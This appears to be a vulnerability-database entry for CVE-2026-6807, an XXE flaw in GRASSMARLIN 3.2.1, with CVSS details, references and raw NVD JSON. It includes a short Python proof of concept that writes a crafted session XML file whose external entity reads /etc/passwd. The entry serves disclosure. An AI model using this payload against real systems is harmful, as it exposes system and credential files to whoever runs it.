CVE-2026-6807

Description

A vulnerability in GRASSMARLIN v3.2.1 allows crafted session data to trigger improper handling of XML input, which may result in unintended exposure of sensitive information. The flaw stems from insufficient hardening of the XML parsing process.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GRASSMARLIN 3.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import os

# Simulating crafted session data containing an XXE payload
# This payload attempts to read a sensitive file (e.g., /etc/passwd)
xml_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<session>
    <user>&xxe;</user>
    <action>login</action>
</session>
"""

# Save the crafted payload to a file that GRASSMARLIN might process as session data
with open('malicious_session.xml', 'w') as f:
    f.write(xml_payload)

print("Malicious session data generated: malicious_session.xml")
print("If processed by a vulnerable GRASSMARLIN instance, this may expose sensitive file contents.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6807
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6807
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6807/
[4] VulDB https://vuldb.com/cve/CVE-2026-6807
[5] https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-118-01.json
[6] https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6807", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:47.773", "lastModified": "2026-04-28T20:10:23.367", "vulnStatus": "Awaiting Analysis", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A vulnerability in GRASSMARLIN v3.2.1 allows crafted session data to \ntrigger improper handling of XML input, which may result in unintended \nexposure of sensitive information. The flaw stems from insufficient \nhardening of the XML parsing process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-118-01.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-118-01", "source": "[email protected]"}]}}